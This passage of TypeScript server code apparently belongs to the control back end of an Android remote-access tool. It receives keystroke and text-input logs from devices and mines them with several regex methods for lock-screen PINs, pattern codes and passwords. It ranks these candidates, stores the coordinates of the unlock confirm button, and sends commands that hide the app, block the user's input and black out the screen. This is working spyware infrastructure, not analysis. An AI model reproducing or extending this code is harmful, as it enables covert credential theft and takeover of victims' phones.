isControlled: !!this.webClientManager.getDeviceController(device.id),
controller: this.webClientManager.getDeviceController(device.id)
}))
})
this.logger.info(`设备列表已发送: 在线=${onlineDevices.length}, 总计=${allDevices.length}`)
return true
} catch (error) {
this.logger.error('处理设备列表请求失败:', error)
this.webClientManager.sendToClient(clientId, 'device_list', {
devices: []
})
return false
}
}
/**
* 处理操作日志(从设备接收)
*/
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean {
try {
// 验证消息来源是设备
const device = this.deviceManager.getDeviceBySocketId(fromSocketId)
if (!device) {
this.logger.warn(`未知设备尝试发送操作日志: ${fromSocketId}`)
return false
}
// 验证设备ID匹配
if (device.id !== logMessage.deviceId) {
this.logger.warn(`设备ID不匹配: socket=${fromSocketId}, device=${device.id}, message=${logMessage.deviceId}`)
return false
}
// 🔧 修复更新设备的lastSeen时间操作日志也是设备活跃的标志
device.lastSeen = new Date()
this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`)
// 🆕 检查是否为应用隐藏事件(通过操作日志传输)
if (logMessage.extraData && (logMessage.extraData as any).isAppHideEvent) {
this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`)
try {
const deviceEventData = (logMessage.extraData as any).eventData
if (deviceEventData && (logMessage.extraData as any).eventType === 'app_hide_status') {
// 处理应用隐藏状态更新
this.handleAppHideStatusUpdate(device.id, deviceEventData)
}
} catch (e) {
this.logger.error('处理应用隐藏事件失败:', e)
}
}
// 保存到数据库
this.databaseService.saveOperationLog({
deviceId: logMessage.deviceId,
logType: logMessage.logType,
content: logMessage.content,
extraData: logMessage.extraData,
timestamp: new Date(logMessage.timestamp)
})
this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`)
// 实时广播给正在控制该设备的Web客户端
const controllerId = this.webClientManager.getDeviceController(device.id)
if (controllerId) {
this.webClientManager.sendToClient(controllerId, 'operation_log_realtime', {
deviceId: device.id,
log: {
logType: logMessage.logType,
content: logMessage.content,
extraData: logMessage.extraData,
timestamp: new Date(logMessage.timestamp)
}
})
}
return true
} catch (error) {
this.logger.error('处理操作日志失败:', error)
return false
}
}
/**
* 处理获取操作日志请求
*/
private handleGetOperationLogs(clientId: string, requestData: any): boolean {
try {
const { deviceId, page = 1, pageSize = 50, logType } = requestData
// 检查客户端是否有权限查看该设备日志
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`客户端 ${clientId} 无权查看设备 ${deviceId} 的日志`)
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
success: false,
message: '无权查看该设备日志'
})
return false
}
// 从数据库获取日志
const result = this.databaseService.getOperationLogs(deviceId, page, pageSize, logType)
// 发送给客户端
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
success: true,
data: result
})
this.logger.debug(`操作日志已发送: ${deviceId}, page=${page}, total=${result.total}`)
return true
} catch (error) {
this.logger.error('处理获取操作日志请求失败:', error)
this.webClientManager.sendToClient(clientId, 'operation_logs_response', {
success: false,
message: '获取日志失败'
})
return false
}
}
/**
* 处理清空操作日志请求
*/
private handleClearOperationLogs(clientId: string, deviceId: string): boolean {
try {
// 检查客户端是否有权限清空该设备日志
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`客户端 ${clientId} 无权清空设备 ${deviceId} 的日志`)
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
success: false,
message: '无权清空该设备日志'
})
return false
}
// 清空数据库中的日志
this.databaseService.clearOperationLogs(deviceId)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
success: true,
message: '日志已清空'
})
this.logger.info(`设备 ${deviceId} 的操作日志已被客户端 ${clientId} 清空`)
return true
} catch (error) {
this.logger.error('处理清空操作日志请求失败:', error)
this.webClientManager.sendToClient(clientId, 'clear_logs_response', {
success: false,
message: '清空日志失败'
})
return false
}
}
/**
* 处理获取设备密码请求
*/
private handleGetDevicePassword(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查客户端是否有权限查看该设备信息
const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId)
this.logger.info(`🎫 权限检查结果: ${hasControl}`)
if (!hasControl) {
this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`)
this.webClientManager.sendToClient(clientId, 'get_device_password_response', {
success: false,
message: '无权查看该设备信息'
})
return false
}
// ✅ 优先从状态表获取密码
const password = this.databaseService.getDevicePassword(deviceId)
// ✅ 获取设备状态信息
const deviceState = this.databaseService.getDeviceState(deviceId)
let responseData: any = {
success: true,
password: password,
deviceState: deviceState ? {
inputBlocked: deviceState.inputBlocked,
loggingEnabled: deviceState.loggingEnabled,
lastPasswordUpdate: deviceState.lastPasswordUpdate,
// 🆕 包含确认按钮坐标信息
confirmButtonCoords: deviceState.confirmButtonCoords,
learnedConfirmButton: deviceState.learnedConfirmButton
} : null
}
// ✅ 处理确认按钮坐标信息
if (password) {
responseData.message = '找到密码记录'
// 🆕 优先使用保存的确认按钮坐标
if (deviceState?.confirmButtonCoords) {
responseData.hasConfirmButton = true
responseData.confirmButtonCoords = deviceState.confirmButtonCoords
this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`)
}
// 🆕 其次使用学习的确认按钮坐标
else if (deviceState?.learnedConfirmButton) {
responseData.hasConfirmButton = true
responseData.confirmButtonCoords = {
x: deviceState.learnedConfirmButton.x,
y: deviceState.learnedConfirmButton.y
}
this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`)
}
// 🆕 最后尝试从日志中查找
else {
const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT')
const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs)
const matchingEntry = passwordsWithMeta.find(entry => entry.password === password)
if (matchingEntry && matchingEntry.hasConfirmButton) {
responseData.hasConfirmButton = true
responseData.confirmButtonCoords = {
x: matchingEntry.confirmButtonX,
y: matchingEntry.confirmButtonY
}
this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`)
} else {
responseData.hasConfirmButton = false
this.logger.info(` 密码 ${password} 无确认按钮坐标`)
}
}
} else {
// 如果状态表没有密码,尝试从日志中提取
const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT')
if (textInputLogs.logs.length > 0) {
const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs)
if (passwordsWithMeta.length > 0) {
const bestEntry = passwordsWithMeta[0]
responseData.password = bestEntry.password
if (bestEntry.hasConfirmButton) {
responseData.hasConfirmButton = true
responseData.confirmButtonCoords = {
x: bestEntry.confirmButtonX,
y: bestEntry.confirmButtonY
}
} else {
responseData.hasConfirmButton = false
}
responseData.message = '从日志中找到密码记录'
this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`)
} else {
responseData.message = '暂无密码记录'
}
} else {
responseData.message = '暂无密码记录'
}
}
// 发送响应
this.webClientManager.sendToClient(clientId, 'get_device_password_response', responseData)
this.logger.debug(`设备密码和状态查询完成: ${deviceId}, 找到密码: ${!!password}, 设备状态: ${!!deviceState}`)
return true
} catch (error) {
this.logger.error('处理获取设备密码请求失败:', error)
this.webClientManager.sendToClient(clientId, 'get_device_password_response', {
success: false,
message: '查询密码失败'
})
return false
}
}
/**
* 处理保存设备密码请求
*/
private handleSaveDevicePassword(clientId: string, deviceId: string, password: string): boolean {
try {
this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查客户端是否有权限保存该设备密码
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`客户端 ${clientId} 无权保存设备 ${deviceId} 的密码`)
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
success: false,
message: '无权保存该设备密码'
})
return false
}
// 保存密码到数据库
this.databaseService.saveDevicePassword(deviceId, password)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
success: true,
message: '密码已保存'
})
this.logger.info(`设备 ${deviceId} 的密码已被客户端 ${clientId} 保存`)
return true
} catch (error) {
this.logger.error('处理保存设备密码请求失败:', error)
this.webClientManager.sendToClient(clientId, 'save_device_password_response', {
success: false,
message: '保存密码失败'
})
return false
}
}
/**
* 处理更新设备状态请求
*/
private handleUpdateDeviceState(clientId: string, deviceId: string, state: any): boolean {
try {
this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查客户端是否有权限更新该设备状态
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`客户端 ${clientId} 无权更新设备 ${deviceId} 的状态`)
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
success: false,
message: '无权更新该设备状态'
})
return false
}
// 更新设备状态到数据库
this.databaseService.updateDeviceState(deviceId, state)
// 发送成功响应
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
success: true,
message: '设备状态已更新'
})
this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 更新`)
return true
} catch (error) {
this.logger.error('处理更新设备状态请求失败:', error)
this.webClientManager.sendToClient(clientId, 'update_device_state_response', {
success: false,
message: '更新设备状态失败'
})
return false
}
}
/**
* 处理获取设备状态请求
*/
private handleGetDeviceState(clientId: string, deviceId: string): boolean {
try {
this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`)
// 检查客户端是否有权限获取该设备状态
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`客户端 ${clientId} 无权获取设备 ${deviceId} 的状态`)
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
success: false,
message: '无权获取该设备状态'
})
return false
}
// 获取设备状态
const deviceState = this.databaseService.getDeviceState(deviceId)
// 发送响应,包含设备状态信息
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
success: true,
data: deviceState
})
this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 获取`)
return true
} catch (error) {
this.logger.error('处理获取设备状态请求失败:', error)
this.webClientManager.sendToClient(clientId, 'get_device_state_response', {
success: false,
message: '获取设备状态失败'
})
return false
}
}
/**
* 广播消息到所有相关方
*/
broadcastMessage(eventType: string, data: any): void {
this.webClientManager.broadcastToAll(eventType, data)
this.logger.debug(`广播消息: ${eventType}`)
}
/**
* 获取路由统计信息
*/
getRouterStats(): {
totalDevices: number
totalClients: number
activeControlSessions: number
} {
return {
totalDevices: this.deviceManager.getDeviceCount(),
totalClients: this.webClientManager.getClientCount(),
activeControlSessions: this.webClientManager.getAllClients()
.filter(client => client.controllingDeviceId).length
}
}
public handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void {
try {
// 更新设备状态到数据库
this.databaseService.updateDeviceInputBlocked(deviceId, blocked)
// 通知所有连接的Web客户端设备状态已变化
this.webClientManager.broadcastToAll('device_input_blocked_changed', {
deviceId,
blocked,
success: true,
message: '设备输入阻塞状态已更新'
})
this.logger.info(`设备 ${deviceId} 的输入阻塞状态已更新: ${blocked}`)
} catch (error) {
this.logger.error('处理设备输入阻塞状态更新失败:', error)
this.webClientManager.broadcastToAll('device_input_blocked_changed', {
deviceId,
blocked,
success: false,
message: '更新设备输入阻塞状态失败'
})
}
}
private handleDeviceLoggingStateChanged(deviceId: string, enabled: boolean): void {
try {
// 更新设备状态到数据库
this.databaseService.updateDeviceLoggingEnabled(deviceId, enabled)
// 通知所有连接的Web客户端设备状态已变化
this.webClientManager.broadcastToAll('device_logging_state_changed', {
deviceId,
enabled,
success: true,
message: '设备日志状态已更新'
})
this.logger.info(`设备 ${deviceId} 的日志状态已更新: ${enabled}`)
} catch (error) {
this.logger.error('处理设备日志状态更新失败:', error)
this.webClientManager.broadcastToAll('device_logging_state_changed', {
deviceId,
enabled,
success: false,
message: '更新设备日志状态失败'
})
}
}
private restoreDeviceState(clientId: string, deviceId: string): void {
try {
// 从数据库获取设备状态
const deviceState = this.databaseService.getDeviceState(deviceId)
if (deviceState) {
// 发送设备状态给客户端
this.webClientManager.sendToClient(clientId, 'device_state_restored', {
deviceId,
state: deviceState,
success: true,
message: '设备状态已恢复'
})
// ✅ 优化Web端获取控制权时只需要同步状态到Web端界面即可
// Android端已经在运行并维护着真实状态不需要强制同步命令
// 移除了向Android端发送控制命令的逻辑避免不必要的命令洪流导致连接不稳定
this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`)
} else {
this.logger.debug(`设备 ${deviceId} 没有保存的状态信息`)
}
} catch (error) {
this.logger.error(`恢复设备 ${deviceId} 状态失败:`, error)
this.webClientManager.sendToClient(clientId, 'device_state_restored', {
deviceId,
success: false,
message: '恢复设备状态失败'
})
}
}
private handleSearchPasswordsFromLogs(clientId: string, deviceId: string): boolean {
try {
// 检查客户端权限
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
this.logger.warn(`客户端 ${clientId} 无权搜索设备 ${deviceId} 的密码`)
this.webClientManager.sendToClient(clientId, 'password_search_response', {
success: false,
message: '无权搜索该设备的密码'
})
return false
}
this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`)
// 从数据库获取文本输入相关的操作日志
const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId)
this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`)
if (!textInputLogs || textInputLogs.length === 0) {
this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`)
// 调试:检查该设备是否有任何日志
const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10)
this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`)
this.webClientManager.sendToClient(clientId, 'password_search_response', {
success: true,
message: `未找到文本输入记录。该设备共有 ${allLogs.total} 条日志,但无文本输入类型的日志。`,
passwords: []
})
return true
}
// 分析日志内容,提取可能的密码
const passwordCandidates = this.extractPasswordCandidates(textInputLogs)
this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`)
// 发送结果给客户端
this.webClientManager.sendToClient(clientId, 'password_search_response', {
success: true,
message: `找到 ${passwordCandidates.length} 个可能的密码`,
passwords: passwordCandidates
})
return true
} catch (error) {
this.logger.error('搜索密码失败:', error)
this.webClientManager.sendToClient(clientId, 'password_search_response', {
success: false,
message: '搜索密码时发生错误'
})
return false
}
}
/**
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
*/
private extractPasswordCandidatesWithMeta(logs: any[]): Array<{
password: string
type: string
confirmButtonX?: number
confirmButtonY?: number
hasConfirmButton?: boolean
}> {
const passwordMap = new Map<string, {
password: string
type: string
confirmButtonX?: number
confirmButtonY?: number
hasConfirmButton?: boolean
}>()
for (const log of logs) {
const content = log.content || ''
const extraData = log.extraData
this.logger.debug(`🔍 分析日志内容: ${content}`)
let textInput = ''
let passwordType = 'unknown'
let confirmButtonX: number | undefined
let confirmButtonY: number | undefined
let hasConfirmButton = false
// ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息)
if (content.includes('🔑 密码输入分析完成')) {
const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/)
if (passwordMatch) {
textInput = passwordMatch[1].trim()
this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`)
}
// 提取密码类型信息
if (content.includes('数字密码') || content.includes('PIN码')) {
passwordType = content.includes('PIN码') ? 'pin' : 'numeric'
} else if (content.includes('图案密码') || content.includes('图形密码')) {
passwordType = 'pattern'
} else if (content.includes('混合密码')) {
passwordType = 'mixed'
} else if (content.includes('文本密码')) {
passwordType = 'text'
} else {
passwordType = this.detectPasswordTypeFromContent(textInput)
}
// ✅ 提取确认坐标信息
const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/)
if (coordMatch) {
confirmButtonX = parseInt(coordMatch[1])
confirmButtonY = parseInt(coordMatch[2])
hasConfirmButton = true
this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`)
}
this.logger.info(`🔍 检测到密码类型: ${passwordType}`)
}
// ✅ 从extraData中提取坐标信息
if (extraData && typeof extraData === 'object') {
if (extraData.confirmButtonX && extraData.confirmButtonY) {
confirmButtonX = extraData.confirmButtonX
confirmButtonY = extraData.confirmButtonY
hasConfirmButton = true
}
}
// ✅ 处理独立的确认坐标日志
if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') {
// 这是一个确认坐标更新日志,需要关联到最近的密码
if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) {
// 在已有的密码候选中查找最近的需要确认按钮的密码
const existingEntries = Array.from(passwordMap.values())
const recentEntry = existingEntries
.filter(entry => entry.type === 'mixed' || entry.type === 'text')
.sort((a, b) => (b.confirmButtonX ? 1 : 0) - (a.confirmButtonX ? 1 : 0)) // 优先选择还没有坐标的
.pop()
if (recentEntry && !recentEntry.confirmButtonX) {
recentEntry.confirmButtonX = extraData.confirmButtonX
recentEntry.confirmButtonY = extraData.confirmButtonY
recentEntry.hasConfirmButton = true
this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`)
}
}
continue // 跳过后续处理,这不是密码日志
}
// 验证并添加密码
if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) {
this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`)
const passwordEntry = {
password: textInput,
type: passwordType,
confirmButtonX,
confirmButtonY,
hasConfirmButton
}
passwordMap.set(textInput, passwordEntry)
}
}
// 转换为数组并排序
const passwords = Array.from(passwordMap.values())
passwords.sort((a, b) => {
const typePriority: Record<string, number> = {
'pin': 100,
'numeric': 90,
'mixed': 80,
'text': 70,
'pattern': 60,
'unknown': 50
}
const aPriority = typePriority[a.type] || 50
const bPriority = typePriority[b.type] || 50
if (aPriority !== bPriority) {
return bPriority - aPriority
}
const preferredLengths = [4, 6, 8]
const aScore = preferredLengths.includes(a.password.length) ? 100 - preferredLengths.indexOf(a.password.length) : a.password.length
const bScore = preferredLengths.includes(b.password.length) ? 100 - preferredLengths.indexOf(b.password.length) : b.password.length
return bScore - aScore
})
return passwords
}
/**
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
*/
private extractPasswordCandidates(logs: any[]): string[] {
const passwordSet = new Set<string>()
const passwordWithType = new Map<string, string>() // 记录密码及其类型
for (const log of logs) {
const content = log.content || ''
const extraData = log.extraData
this.logger.debug(`🔍 分析日志内容: ${content}`)
// 从日志内容中提取文本
let textInput = ''
let passwordType = 'unknown'
// ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息)
if (content.includes('🔑 密码输入分析完成')) {
// 提取密码
const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/)
if (passwordMatch) {
textInput = passwordMatch[1].trim()
this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`)
}
// ✅ 提取密码类型信息
if (content.includes('数字密码') || content.includes('PIN码')) {
passwordType = content.includes('PIN码') ? 'pin' : 'numeric'
} else if (content.includes('图案密码') || content.includes('图形密码')) {
passwordType = 'pattern'
} else if (content.includes('混合密码')) {
passwordType = 'mixed'
} else if (content.includes('文本密码')) {
passwordType = 'text'
} else {
// 根据密码内容自动判断类型
passwordType = this.detectPasswordTypeFromContent(textInput)
}
this.logger.info(`🔍 检测到密码类型: ${passwordType}`)
}
// 方法2: 从传统的输入文本日志中解析
else if (content.includes('输入文本:') || content.includes('远程输入文本:')) {
const match = content.match(/(?:远程)?输入文本:\s*(.+)/)
if (match) {
textInput = match[1].trim()
passwordType = this.detectPasswordTypeFromContent(textInput)
this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`)
}
}
// ✅ 方法3: 从数字密码键盘点击日志中提取
else if (content.includes('数字密码键盘点击:')) {
const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/)
if (digitMatch) {
// 这是单个数字,需要与其他数字组合
const digit = digitMatch[1]
this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`)
// 暂时不处理单个数字,等待完整密码分析
}
}
// 方法4: 从密码输入进度日志中提取
else if (content.includes('🔒') && content.includes('密码输入:')) {
// 提取类似 "🔒 密码输入: •••••z (6位)" 的内容
const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/)
if (inputMatch) {
textInput = inputMatch[1].trim()
passwordType = this.detectPasswordTypeFromContent(textInput)
this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`)
}
}
// ✅ 方法5: 从重构密码日志中提取
else if (content.includes('密码重构完成:')) {
const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/)
if (reconstructMatch) {
textInput = reconstructMatch[1].trim()
passwordType = this.detectPasswordTypeFromContent(textInput)
this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`)
}
}
// ✅ 方法6: 从带确认坐标的日志中提取密码和坐标
else if (content.includes('确认坐标:')) {
const passwordMatch = content.match(/密码:(.+?)\s*\|/)
const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/)
if (passwordMatch) {
textInput = passwordMatch[1].trim()
passwordType = this.detectPasswordTypeFromContent(textInput)
if (coordMatch) {
const confirmX = parseInt(coordMatch[1])
const confirmY = parseInt(coordMatch[2])
this.logger.info(`✅ 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`)
// 将确认坐标信息添加到extraData中
if (extraData && typeof extraData === 'object') {
extraData.confirmButtonX = confirmX
extraData.confirmButtonY = confirmY
extraData.hasConfirmButton = true
}
}
}
}
// 方法7: 从extraData中获取
if (!textInput && extraData) {
if (typeof extraData === 'object') {
if (extraData.text) {
textInput = extraData.text
passwordType = this.detectPasswordTypeFromContent(textInput)
this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`)
} else if (extraData.reconstructedPassword) {
textInput = extraData.reconstructedPassword
passwordType = this.detectPasswordTypeFromContent(textInput)
this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`)
}
} else if (typeof extraData === 'string') {
try {
const parsed = JSON.parse(extraData)
if (parsed.text) {
textInput = parsed.text
passwordType = this.detectPasswordTypeFromContent(textInput)
this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`)
}
} catch (e) {
// 忽略JSON解析错误
}
}
}
// ✅ 验证是否为可能的密码,并考虑密码类型
if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) {
this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`)
passwordSet.add(textInput)
passwordWithType.set(textInput, passwordType)
} else if (textInput) {
this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`)
}
}
// ✅ 转换为数组并按类型和质量排序
const passwords = Array.from(passwordSet)
this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`)
passwords.sort((a, b) => {
const aType = passwordWithType.get(a) || 'unknown'
const bType = passwordWithType.get(b) || 'unknown'
// ✅ 类型优先级排序PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知
const typePriority: Record<string, number> = {
'pin': 100,
'numeric': 90,
'mixed': 80,
'text': 70,
'pattern': 60,
'unknown': 50
}
const aPriority = typePriority[aType] || 50
const bPriority = typePriority[bType] || 50
if (aPriority !== bPriority) {
return bPriority - aPriority
}
// 同类型按长度排序常见密码长度优先4位、6位、8位
const preferredLengths = [4, 6, 8]
const aScore = preferredLengths.includes(a.length) ? 100 - preferredLengths.indexOf(a.length) : a.length
const bScore = preferredLengths.includes(b.length) ? 100 - preferredLengths.indexOf(b.length) : b.length
return bScore - aScore
})
return passwords
}
/**
* ✅ 新增:从密码内容检测密码类型
*/
private detectPasswordTypeFromContent(password: string): string {
if (!password) return 'unknown'
const cleanPassword = password.replace(/[?•*]/g, '') // 移除掩码字符
// 判断是否为纯数字
if (/^\d+$/.test(cleanPassword)) {
if (cleanPassword.length === 4 || cleanPassword.length === 6) {
return 'pin'
} else if (cleanPassword.length >= 4 && cleanPassword.length <= 9) {
// 检查是否可能是图形密码1-9的数字不包含0
const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => {
const num = parseInt(digit)
return num >= 1 && num <= 9
})
if (hasOnlyValidPatternDigits && !cleanPassword.includes('0')) {
return 'pattern'
} else {
return 'numeric'
}
} else {
return 'numeric'
}
}
// 判断是否为混合密码
if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) {
return 'mixed'
}
// 纯字母
if (/^[a-zA-Z]+$/.test(cleanPassword)) {
return 'text'
}
// 包含特殊字符
if (/[^a-zA-Z0-9]/.test(cleanPassword)) {
return 'mixed'
}
return 'text'
}
/**
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
*/
private isPossiblePasswordEnhanced(text: string, passwordType: string): boolean {
if (!text || typeof text !== 'string') {
return false
}
const trimmed = text.trim()
const cleanText = trimmed.replace(/[?•*]/g, '') // 移除掩码字符
// ✅ 根据密码类型进行不同的验证
switch (passwordType) {
case 'pin':
// PIN码4-6位纯数字
return /^\d{4,6}$/.test(cleanText)
case 'numeric':
// 数字密码3-12位数字包含0
return /^\d{3,12}$/.test(cleanText)
case 'pattern':
// 图形密码4-9位数字只包含1-9
if (!/^\d{4,9}$/.test(cleanText)) return false
return cleanText.split('').every(digit => {
const num = parseInt(digit)
return num >= 1 && num <= 9
}) && !cleanText.includes('0')
case 'mixed':
// 混合密码:包含字母和数字
return cleanText.length >= 4 && cleanText.length <= 20 &&
/[a-zA-Z]/.test(cleanText) && /\d/.test(cleanText)
case 'text':
// 文本密码:主要是字母
return cleanText.length >= 3 && cleanText.length <= 20 &&
/[a-zA-Z]/.test(cleanText)
default:
// 未知类型,使用通用验证
return this.isPossiblePassword(text)
}
}
/**
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
*/
private isPossiblePassword(text: string): boolean {
if (!text || typeof text !== 'string') {
return false
}
const trimmed = text.trim()
// 长度检查密码通常在3-20位之间
if (trimmed.length < 3 || trimmed.length > 20) {
this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`)
return false
}
// 排除明显不是密码的文本
const excludePatterns = [
/^\s+$/, // 纯空格
/^[\u4e00-\u9fa5\s]+$/, // 纯中文和空格
/^[!@#$%^&*(),.?":{}|<>\s]+$/, // 纯符号和空格
]
for (const pattern of excludePatterns) {
if (pattern.test(trimmed)) {
this.logger.debug(`❌ 匹配排除模式: ${trimmed}`)
return false
}
}
// 包含模式检查(可能是密码)
const includePatterns = [
/^\d{3,8}$/, // 3-8位数字PIN码
/^[a-zA-Z0-9]{3,16}$/, // 3-16位字母数字组合
/^[a-zA-Z0-9!@#$%^&*]{3,20}$/, // 3-20位字母数字符号组合
]
for (const pattern of includePatterns) {
if (pattern.test(trimmed)) {
this.logger.debug(`✅ 匹配包含模式: ${trimmed}`)
return true
}
}
// 其他可能的密码模式 - 更宽松的检查
const isValid = (
trimmed.length >= 3 &&
trimmed.length <= 20 &&
!/\s/.test(trimmed) && // 不包含空格
/[a-zA-Z0-9]/.test(trimmed) // 包含字母或数字
)
if (isValid) {
this.logger.debug(`✅ 通过一般验证: ${trimmed}`)
} else {
this.logger.debug(`❌ 未通过一般验证: ${trimmed}`)
}
return isValid
}
/**
* ✅ 刷新所有web客户端的设备列表
*/
private refreshAllWebClientDeviceLists(): void {
try {
// 获取所有web客户端
const allClients = this.webClientManager.getAllClients()
this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`)
allClients.forEach(client => {
try {
// 为每个客户端发送最新的设备列表
this.handleDeviceListRequest(client.id)
} catch (error) {
this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error)
}
})
this.logger.info(`✅ 设备列表刷新完成`)
} catch (error) {
this.logger.error('❌ 刷新web客户端设备列表失败:', error)
}
}
/**
* ✅ 同步设备状态到设备端
*/
private syncDeviceStateToDevice(socketId: string, deviceId: string, deviceState: any): void {
try {
this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`)
// 获取设备的socket连接
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId)
if (!deviceSocket) {
this.logger.warn(`⚠️ 设备socket连接不存在无法同步状态: ${deviceId}`)
return
}
// 同步输入阻塞状态
if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) {
const controlMessage = {
type: deviceState.inputBlocked ? 'DEVICE_BLOCK_INPUT' : 'DEVICE_ALLOW_INPUT',
deviceId,
data: {},
timestamp: Date.now()
}
deviceSocket.emit('control_message', controlMessage)
this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`)
}
// 同步日志状态(如果需要)
if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) {
const logMessage = {
type: deviceState.loggingEnabled ? 'LOG_ENABLE' : 'LOG_DISABLE',
deviceId,
data: {},
timestamp: Date.now()
}
deviceSocket.emit('control_command', logMessage)
this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`)
}
// 🆕 同步黑屏遮盖状态(如果需要)
